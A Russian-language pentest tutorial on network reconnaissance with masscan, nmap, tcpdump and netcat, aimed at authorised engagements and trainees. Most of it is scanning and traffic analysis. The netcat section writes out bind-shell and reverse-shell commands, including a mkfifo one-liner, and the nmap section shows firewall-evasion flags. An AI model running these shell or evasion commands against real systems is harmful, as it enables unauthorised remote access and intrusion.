Фаза разведки определяет всё. Криво просканировал периметр, пропустил открытый порт, не заметил баннер устаревшего сервиса - дальше можно не продолжать. За пять лет внешних и внутренних пентестов я убедился: 80% успешных векторов атаки рождаются на этапе сетевой разведки, а не в момент запуска эксплойта. Эксплойт - это вишенка. Разведка - весь торт.
Здесь я покажу, как выстроить полный цикл сетевой разведки из Linux для пентеста с четырьмя инструментами - masscan, nmap, tcpdump и netcat. Не голый список команд, а связанные сценарии: что запускать первым, как передавать результаты между инструментами и где новичок гарантированно споткнётся (проверено на стажёрах).
Сетевая разведка в контексте
Ссылка скрыта от гостей
Прежде чем запускать первый скан, полезно понимать, что именно ты делаешь с точки зрения фреймворка MITRE ATT&CK. Это не академическое упражнение - понимание тактик поможет грамотно описать находки в отчёте и объяснить заказчику, почему найденное критично.Какие техники покрывает фаза сетевой разведки:
| Техника MITRE ATT&CK | ID | Тактика | Что делаем на практике |
|---|---|---|---|
| Scanning IP Blocks | T1595.001 | Reconnaissance | masscan по /16-подсетям |
| Vulnerability Scanning | T1595.002 | Reconnaissance | nmap --script vuln |
| Network Service Discovery | T1046 | Discovery | nmap -sV -sC для enumeration |
| Network Sniffing | T1040 | Credential Access, Discovery | tcpdump для пассивного перехвата учётных данных в открытом трафике (HTTP Basic Auth, FTP-пароли), захвата NTLM challenge/response для офлайн-брутфорса, баннеров и анализа handshake |
| Remote System Discovery | T1018 | Discovery | nmap -sn для обнаружения хостов |
| System Network Connections Discovery | T1049 | Discovery | netstat, ss на скомпрометированном хосте |
| System Network Configuration Discovery | T1016 | Discovery | ip route, arp -a при lateral movement |
Когда пишешь отчёт, ссылка на конкретную технику ATT&CK сразу поднимает уровень документа. Заказчик видит не «мы нашли открытый порт», а «Network Service Discovery (T1046, Discovery) выявил сервис MS SQL на нестандартном порту, доступный из внешней сети». Совсем другой разговор.
Подготовка окружения для сканирования сети
Всё, что описано ниже, предполагает работу из Kali Linux или любого Debian-based дистрибутива. Ставим инструменты одной командой:
Bash:
sudo apt update
sudo apt install nmap masscan netcat-openbsd netcat-traditional tcpdump -y
Bash:
ENGAGEMENT="client_$(date +%Y%m%d)"
mkdir -p /tmp/${ENGAGEMENT}/{scans,pcaps,loot,reports}
masscan - быстрое сканирование портов на больших сетях
masscan - первый инструмент в цепочке. Его задача - за минуты прочесать огромные диапазоны и найти, где вообще торчат открытые порты. По данным автора Роберта Грэхема, masscan способен отправлять до 10 миллионов пакетов в секунду (при наличии 10GbE-адаптера) и теоретически может просканировать весь IPv4-диапазон по одному порту примерно за 6 минут. На обычном железе реалистичный rate - десятки-сотни тысяч pps.Ловушка: если запустишь masscan с дефолтным rate на клиентской сети - ты её положишь. Это первая и самая распространённая ошибка джуниоров.
Базовое сканирование с безопасным rate
Bash:
# Сканируем подсеть /24 по всем портам, rate 1000 пакетов/с
sudo masscan -p1-65535 192.168.1.0/24 --rate=1000 \
-oG /tmp/${ENGAGEMENT}/scans/masscan_results.gnmap
# Для /16 подсети - увеличиваем rate, но осторожно
sudo masscan -p1-65535 10.0.0.0/16 --rate=5000 \
-oG /tmp/${ENGAGEMENT}/scans/masscan_large.gnmap
-p1-65535- все 65535 TCP-портов. Не путай с дефолтным поведением nmap, который сканирует только top-1000--rate=1000- 1000 пакетов в секунду. Для корпоративной LAN - безопасно. Для продакшн-среды с чувствительным оборудованием - снижай до 500-oG- вывод в формате grepable, удобно парсить для передачи в nmap
Типичные ошибки при работе с masscan
Ошибка 1: запуск без rate-лимита. По умолчанию masscan отправляет 100 пакетов/с, но с флагом--rate=10000000 (а я такое видел в «туториалах») ты генерируешь DDoS на собственного клиента. На внутреннем пентесте это звонок от SOC через 30 секунд.Ошибка 2: доверять результатам masscan как финальным. masscan использует асинхронную передачу - отправляет SYN и слушает ответы отдельно. Скорость есть, точность - так себе. Порт, который masscan показал как открытый, может быть ложноположительным. Всегда верифицируй через nmap.
Ошибка 3: забыть про
--banners. С этим флагом masscan попытается схватить баннер сервиса - сэкономит время на следующем этапе:
Bash:
sudo masscan -p80,443,8080,8443 192.168.1.0/24 \
--rate=1000 --banners \
-oG /tmp/${ENGAGEMENT}/scans/masscan_web.gnmap
Извлечение живых хостов из результатов masscan
Bash:
# Парсим результаты masscan, вытаскиваем уникальные IP
grep "Host:" /tmp/${ENGAGEMENT}/scans/masscan_results.gnmap \
| awk '{print $2}' | sort -u > /tmp/${ENGAGEMENT}/scans/live_hosts.txt
# Смотрим, сколько хостов нашли
wc -l /tmp/${ENGAGEMENT}/scans/live_hosts.txt
live_hosts.txt - список целей для глубокого nmap сканирования сети.nmap - глубокое сканирование и enumeration сетевых сервисов
nmap - основной инструмент для детальной разведки. Если masscan - это радар, который видит «что-то там есть», то nmap - бинокль с тепловизором. Лично у меня ни один пентест без него не обходился.Обнаружение хостов в сети (Host Discovery)
Если начинаешь без предварительного masscan (например, сеть маленькая), первый шаг - ping sweep:
Bash:
# Пинг-скан: находим живые хосты без сканирования портов
nmap -sn 192.168.1.0/24 -oG /tmp/${ENGAGEMENT}/scans/ping_sweep.gnmap
# Извлекаем IP живых хостов
grep "Up" /tmp/${ENGAGEMENT}/scans/ping_sweep.gnmap \
| awk '{print $2}' > /tmp/${ENGAGEMENT}/scans/live_hosts.txt
-sn говорит nmap: «только обнаружение хостов, порты не сканируй». Это техника Remote System Discovery (T1018) в терминологии MITRE ATT&CK.Нюанс: некоторые хосты не отвечают на ICMP (пинг отключён на фаерволе). Тут помогает ARP-сканирование в локальной сети:
Bash:
# ARP-скан - работает только в L2-сегменте
nmap -sn -PR 192.168.1.0/24
-PR заставляет nmap использовать ARP-запросы вместо ICMP. В локалке это надёжнее - ARP нельзя заблокировать, не потеряв сетевую связность.Сканирование портов: SYN vs Connect
Вот где новички путаются чаще всего. Разница между-sS (SYN-скан) и -sT (TCP connect-скан) - принципиальная:
Bash:
# SYN-скан (стелс): отправляет SYN, получает SYN-ACK, отправляет RST
# Не завершает TCP-хендшейк - тише, быстрее, но требует root
sudo nmap -sS -p- 192.168.1.100 -oA /tmp/${ENGAGEMENT}/scans/syn_scan
# Connect-скан: полный TCP-хендшейк через системный вызов connect()
# Не требует root, но медленнее и шумнее - виден в логах приложений
nmap -sT -p- 192.168.1.100 -oA /tmp/${ENGAGEMENT}/scans/connect_scan
Флаг
-p- - сканирование всех 65535 портов. Без него nmap проверяет только top-1000, и ты пропустишь сервис на порту 8888 или 31337. Вторая классическая ошибка начинающих.OS detection и fingerprinting сервисов
После обнаружения портов - определяем, что на них живёт:
Bash:
# Версии сервисов + ОС + скрипты по умолчанию
sudo nmap -sV -sC -O -p 22,80,443,445,3306,3389 \
-iL /tmp/${ENGAGEMENT}/scans/live_hosts.txt \
-oA /tmp/${ENGAGEMENT}/scans/detailed_scan \
--max-retries 2 \
--host-timeout 30m
-sV- version detection. Nmap подключается к порту и анализирует баннер, чтобы определить софт и версию (footprinting и fingerprinting)-sC- запускает скрипты из категории «default». Безопасные скрипты: определение SSL-сертификатов, HTTP-заголовков, SMB-информации-O- OS detection. Анализирует TTL, TCP Window Size, фрагментацию для определения операционной системы-iL- читает список целей из файла (того самогоlive_hosts.txt)--max-retries 2- максимум 2 повтора для каждого порта. Ускоряет скан, чуть снижает точность--host-timeout 30m- таймаут на хост. Если один хост «завис», nmap пойдёт дальше
NSE-скрипты для поиска уязвимостей
Nmap Scripting Engine - штука, которая превращает nmap из сканера портов в полноценный инструмент Vulnerability Scanning (T1595.002):
Bash:
# Поиск известных уязвимостей на конкретном хосте
nmap -sV --script vuln 192.168.1.100 \
-oA /tmp/${ENGAGEMENT}/scans/vuln_scan
# Проверка MS12-020 (CVE-2012-0002) - DoS/RCE в RDP
nmap -p 3389 --script rdp-vuln-ms12-020 192.168.1.100
# Для BlueKeep (CVE-2019-0708) в nmap нет встроенного скрипта;
# используй rdpscan (Robert Graham) или Metasploit auxiliary/scanner/rdp/cve_2019_0708_bluekeep
# Проверка EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24
# Аудит SSL/TLS-конфигурации
nmap -p 443 --script ssl-enum-ciphers 192.168.1.100
Ссылка скрыта от гостей
(BlueKeep) - уязвимость удалённого выполнения кода в Remote Desktop Services с CVSS 9.8 (CRITICAL). Вектор атаки: сетевой, не требует ни аутентификации, ни действий пользователя (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Классификация по CWE-416 (Use After Free). Затрагивает Windows 7, Windows Server 2008, Windows Server 2008 R2, а также Windows XP и Windows Server 2003 (Microsoft выпустила внеочередные патчи даже для этих EOL-систем - вот насколько всё серьёзно). Если при сканировании находишь открытый RDP на этих системах - это критическая находка для отчёта.nmap: практические сценарии для пентеста
Сценарий: быстрая первичная разведка за 10 минут
Bash:
# Шаг 1: top-1000 портов по всей подсети
nmap -sV --top-ports 1000 192.168.1.0/24 \
-oA /tmp/${ENGAGEMENT}/scans/quick_scan --open
# Шаг 2: по результатам - глубокое сканирование интересных хостов
nmap -sV -sC -O -p- 192.168.1.42 \
-oA /tmp/${ENGAGEMENT}/scans/deep_192.168.1.42
Bash:
# Фрагментация IP-пакетов - обходит некоторые stateless фаерволы
sudo nmap -f -sS 192.168.1.100
# Кастомный MTU (должен быть кратен 8; малые значения эффективнее для обхода)
sudo nmap --mtu 24 -sS 192.168.1.100
# Использование decoys - затрудняет обнаружение реального сканера
sudo nmap -D RND:5 -sS 192.168.1.100
-f разбивает пакеты на фрагменты по 8 байт. --mtu задаёт кастомный размер фрагмента (кратный 8). Эти флаги взаимоисключающие: --mtu переопределяет -f. -D RND:5 добавляет 5 случайных IP-адресов как «приманки» - на стороне цели будет видно сканирование с 6 адресов, и поди разбери, какой настоящий.tcpdump - анализ трафика и верификация результатов
tcpdump - CLI-микроскоп для сетевого трафика. Его задача при пентесте - верифицировать то, что показали сканеры, и увидеть то, что они пропустили. Это инструмент
Ссылка скрыта от гостей
.Базовый захват трафика
Bash:
# Захват всего трафика на интерфейсе eth0
sudo tcpdump -i eth0 -w /tmp/${ENGAGEMENT}/pcaps/full_capture.pcap
# Захват с фильтром: только трафик от/к конкретному хосту
sudo tcpdump -i eth0 -n host 192.168.1.100 \
-w /tmp/${ENGAGEMENT}/pcaps/target_100.pcap
# Захват без резолва DNS (флаг -n) - это КРИТИЧНО для скорости
sudo tcpdump -i eth0 -n -c 1000
-n - запомни раз и навсегда. Без него tcpdump пытается резолвить каждый IP в hostname, что адски замедляет вывод и генерирует лишний DNS-трафик. Новичок без -n получает кашу из медленно появляющихся строк и думает, что инструмент сломан.Флаг
-w пишет в pcap-файл, который потом можно открыть в Wireshark для детального анализа.Фильтры BPF для пентестера
Ссылка скрыта от гостей
- синтаксис фильтрации, одинаковый для tcpdump и Wireshark:
Bash:
# Только TCP SYN-пакеты (начало соединений) - видим что пытается подключаться
sudo tcpdump -i eth0 -n 'tcp[tcpflags] & tcp-syn != 0'
# Трафик на порт 445 (SMB) - ищем попытки доступа к шарам
sudo tcpdump -i eth0 -n dst port 445
# Всё кроме SSH - чтобы собственная сессия не засоряла вывод
sudo tcpdump -i eth0 -n port not 22
# HTTP-трафик с выводом содержимого (ASCII)
sudo tcpdump -i eth0 -n -A port 80
# Захват трафика между двумя конкретными хостами
sudo tcpdump -i eth0 -n src 192.168.1.50 and dst 192.168.1.100 and dst port 3389
Практический сценарий: анализ TCP-хендшейка
Допустим, nmap показал порт 8080 какfiltered, но ты подозреваешь, что за ним что-то есть. Запускаем tcpdump и одновременно пробуем подключиться:Терминал 1 - слушаем трафик:
Bash:
sudo tcpdump -i eth0 -n host 192.168.1.100 and port 8080 -vv
Bash:
nc -nvz -w 3 192.168.1.100 8080
Порт открыт - полный хендшейк:
Код:
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456
IP 192.168.1.100.8080 > 192.168.1.50.44321: Flags [S.], seq 789012, ack 123457
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [R], seq 123457
Код:
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456
IP 192.168.1.100.8080 > 192.168.1.50.44321: Flags [R.], seq 0, ack 123457
Код:
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456 (retransmission)
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456 (retransmission)
[S] = SYN, [S.] = SYN-ACK, [R] = RST. Умение читать эти флаги - обязательный навык для пентестера.netcat - ручная проверка и banner grabbing
netcat (nc) часто называют «швейцарским ножом TCP/IP» - и не зря. В сетевой разведке у него три основных применения: проверка портов, banner grabbing и быстрый файловый обмен между машинами.Сканирование портов Linux через netcat
Bash:
# Сканирование диапазона портов (-z = zero I/O, только проверка)
nc -nvz 192.168.1.100 1-1024
# Сканирование конкретных портов
nc -nvz 192.168.1.100 22 80 443 3306 8080
# UDP-сканирование (-u)
# ВНИМАНИЕ: UDP-скан через netcat ненадёжен - если ICMP Port Unreachable
# блокируется фаерволом, ВСЕ порты покажутся открытыми. Для точного
# UDP-скана используй nmap -sU с protocol-specific payloads.
nc -nvzu 192.168.1.100 53 161 500
-n- не резолвить DNS (аналогично tcpdump)-v- verbose, показывает результат для каждого порта-z- режим нулевого ввода-вывода, только проверяет «открыт/закрыт», данные не отправляет-u- UDP вместо TCP
Banner grabbing - техники извлечения информации
Banner grabbing - одна из ключевых техник footprinting и fingerprinting. Подключаемся к сервису и читаем, что он нам расскажет:
Bash:
# Banner grab HTTP - нужен валидный запрос (пустая строка не вызовет ответа)
echo -e "GET / HTTP/1.0\r\n\r\n" | nc -nv -w 3 192.168.1.100 80
# Альтернатива с HEAD-запросом
echo -e "HEAD / HTTP/1.1\r\nHost: 192.168.1.100\r\n\r\n" | \
nc -nv -w 3 192.168.1.100 80
# Banner grab SSH
nc -nv -w 3 192.168.1.100 22
# Обычно сразу получишь: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
# Banner grab SMTP
nc -nv -w 3 192.168.1.100 25
# Ответ: 220 mail.example.com ESMTP Postfix
# Banner grab FTP
nc -nv -w 3 192.168.1.100 21
-w 3 - таймаут 3 секунды. Без него netcat будет ждать бесконечно, и ты потеряешь время.Информация из баннера - версия софта, имя хоста, иногда даже версия ОС - прямой вход в поиск эксплойтов:
Bash:
# Нашли OpenSSH 7.4? Ищем эксплойты
searchsploit "OpenSSH 7.4"
# Нашли Apache 2.4.29? Проверяем
searchsploit "Apache 2.4.29"
Reverse shell через netcat для пентеста
На этапе эксплуатации netcat часто используется для получения shell-доступа. Две схемы:Bind shell - цель слушает, ты подключаешься:
Bash:
# На целевой машине (если у тебя уже есть доступ для запуска)
# Вариант 1: netcat-traditional (поддерживает -e)
nc.traditional -l -p 4444 -e /bin/bash
# Вариант 2: ncat (из пакета nmap, одно соединение; для persistent - добавь --keep-open)
ncat -l -p 4444 -e /bin/bash
# На твоей машине - подключаемся
nc 192.168.1.100 4444
Bash:
# На твоей машине - слушаем
nc -lvp 4444
# На целевой машине (netcat-traditional или ncat)
nc.traditional 192.168.1.50 4444 -e /bin/bash
# Альтернатива без -e (работает с любым netcat):
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.50 4444 >/tmp/f
-e есть не во всех версиях netcat. В Kali по умолчанию стоит netcat-openbsd, где -e отсутствует. Для пентеста бери ncat (из пакета nmap) или netcat-traditional.Практический сценарий: разведка DMZ за 30 минут
Вот реальный workflow, который я использую при внешнем пентесте. У тебя есть диапазон 10.0.0.0/24, 30 минут до первого алерта SOC и задача - построить карту периметра.
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Минуты 0-5: быстрый обзор через masscan
Bash:
# Топовые порты на максимальной безопасной скорости
sudo masscan -p 21,22,25,53,80,110,143,443,445,993,995,1433,3306,3389,5432,8080,8443 \
10.0.0.0/24 --rate=2000 --banners \
-oG /tmp/engagement/scans/masscan_initial.gnmap
# Вытаскиваем живые хосты
grep "Host:" /tmp/engagement/scans/masscan_initial.gnmap \
| awk '{print $2}' | sort -u > /tmp/engagement/scans/targets.txt
Bash:
# Версии сервисов + скрипты по умолчанию на найденных хостах
sudo nmap -sV -sC -O \
-iL /tmp/engagement/scans/targets.txt \
-oA /tmp/engagement/scans/detailed \
--open --max-retries 1 --host-timeout 5m
Bash:
# Допустим nmap показал порт 8080 как "tcpwrapped" - проверяем руками
echo -e "GET / HTTP/1.0\r\n\r\n" | nc -nv -w 3 10.0.0.15 8080
# Проверяем нестандартный порт 9090
nc -nv -w 3 10.0.0.15 9090
Bash:
# Записываем трафик, пока делаем ручные проверки
sudo tcpdump -i eth0 -n -w /tmp/engagement/pcaps/manual_checks.pcap \
host 10.0.0.15 &
# Делаем подключения для анализа
nc -nvz 10.0.0.15 1-1024 2>&1 | grep -E "open|succeeded"
# Останавливаем tcpdump
kill %1
Bash:
# Vulnerability scan на самых интересных хостах
nmap -sV --script vuln 10.0.0.15 \
-oA /tmp/engagement/scans/vuln_10.0.0.15
# Проверка SMB на распространённые уязвимости
nmap -p 445 --script smb-vuln-ms17-010 \
-iL /tmp/engagement/scans/targets.txt
Активная разведка и пассивная разведка сети
Всё, что описано выше - это активная разведка пентест. Ты отправляешь пакеты, взаимодействуешь с целью, оставляешь следы. Но перед активной фазой стоит провести пассивную разведку - сбор информации без прямого контакта с целью.Инструменты пассивной разведки сети:
Bash:
# DNS-разведка - не касаемся инфраструктуры цели напрямую
dig example.com ANY
dig +short example.com MX
dig +short example.com NS
whois example.com
# Поиск поддоменов через certificate transparency logs
# crt.sh может возвращать 502/503 при высокой нагрузке; альтернативы: subfinder, amass
curl -s "https://crt.sh/?q=%.example.com&output=json" \
| python3 -c "import sys,json; data=json.load(sys.stdin); [print(line) for x in data for line in x['name_value'].split('\\n')]" \
| sort -u
# Обратный DNS для диапазона (не отправляет пакетов в сеть)
nmap -sL 192.168.1.0/24
nmap -sL - list scan. Не отправляет ни одного пакета в сеть, только делает обратный DNS-запрос для каждого IP. Тихо, безопасно и часто выдаёт интересные hostname'ы вроде dc01.corp.local или backup-sql.internal. На одном проекте именно так мы нашли забытый бэкап-сервер, о котором заказчик «не помнил».Частые ошибки начинающих при сетевой разведке
За время внутренних воркшопов я собрал топ ошибок, на которых спотыкается каждый второй стажёр:1. Сканирование без
-p- в nmap. По умолчанию nmap проверяет ~1000 портов. Сервис на порту 8888, 9200 (Elasticsearch), 27017 (MongoDB) или 31337 - ты его просто не увидишь. Всегда -p- для полного скана или явно указывай нужные порты.2. Путаница между SYN и connect-сканом. Запускают
nmap -sS без sudo и получают ошибку, потому что SYN-скан требует raw sockets. Без root nmap тихо откатывается на -sT - connect-скан, который медленнее и заметнее. А стажёр и не замечает.3. masscan без rate-лимита. Уже говорил, но повторю:
--rate=10000000 на продакшн-сети - это инцидент, за который потом объясняться перед заказчиком. Было.4. tcpdump без
-n. Без этого флага каждый IP резолвится в hostname - вывод медленный и нечитаемый. Вторая проблема: сами DNS-запросы создают дополнительный трафик, которого ты не планировал.5. Не сохраняют результаты. Пробежался nmap'ом, посмотрел на экран, закрыл терминал. А через два дня нужно писать отчёт. Всегда
-oA (nmap), -oG (masscan), -w (tcpdump). Это не лишний флаг - это страховка.6. Игнорирование UDP. TCP-сканирование - половина картины. DNS (53), SNMP (161), TFTP (69), IPSec (500) работают по UDP. Добавляй UDP-скан хотя бы для ключевых портов:
Bash:
sudo nmap -sU --top-ports 50 -iL /tmp/engagement/scans/targets.txt \
-oA /tmp/engagement/scans/udp_scan
Сводная таблица инструментов
| Параметр | masscan | nmap | tcpdump | netcat |
|---|---|---|---|---|
| Основная задача | Быстрое сканирование больших сетей | Глубокий анализ хостов и сервисов | Захват и анализ пакетов | Ручная проверка портов, banner grabbing |
| Скорость | До 10M пакетов/с | Сотни-тысячи пакетов/с | Пассивный захват | Одно соединение за раз |
| Точность | Средняя | Высокая | Максимальная (сырые пакеты) | Высокая (ручная верификация) |
| Требует root | Да | Для SYN-скана | Да | Нет (для базовых операций) |
| Вывод в файл | -oG, -oJ, -oX | -oA, -oN, -oG, -oX | -w (pcap) | Через перенаправление (>) |
| Этап разведки | Первый (обзор) | Второй (глубина) | Параллельно (верификация) | Третий (точечная проверка) |
Правильная цепочка: masscan (быстро находим живые порты) → nmap (глубоко исследуем найденное) → tcpdump (верифицируем и ловим то, что пропустили) → netcat (руками проверяем интересные сервисы и грабим баннеры).
Эта цепочка покрывает полный цикл Network Service Discovery (T1046) и даёт материал для перехода к фазе эксплуатации. Каждый инструмент компенсирует слабости другого: masscan быстр, но неточен; nmap точен, но медлен на больших сетях; tcpdump видит всё, но требует интерпретации; netcat прост, но работает точечно.
Освоив эту четвёрку и научившись связывать их в цепочку, ты закроешь 90% задач фазы разведки на любом инфраструктурном пентесте. Остальные 10% - специализированные утилиты под конкретные протоколы. Но основа всегда одна. Попробуй прогнать сценарий «DMZ за 30 минут» на своей лабе - и увидишь, сколько интересного торчит наружу даже в «чистой» сети.
Последнее редактирование: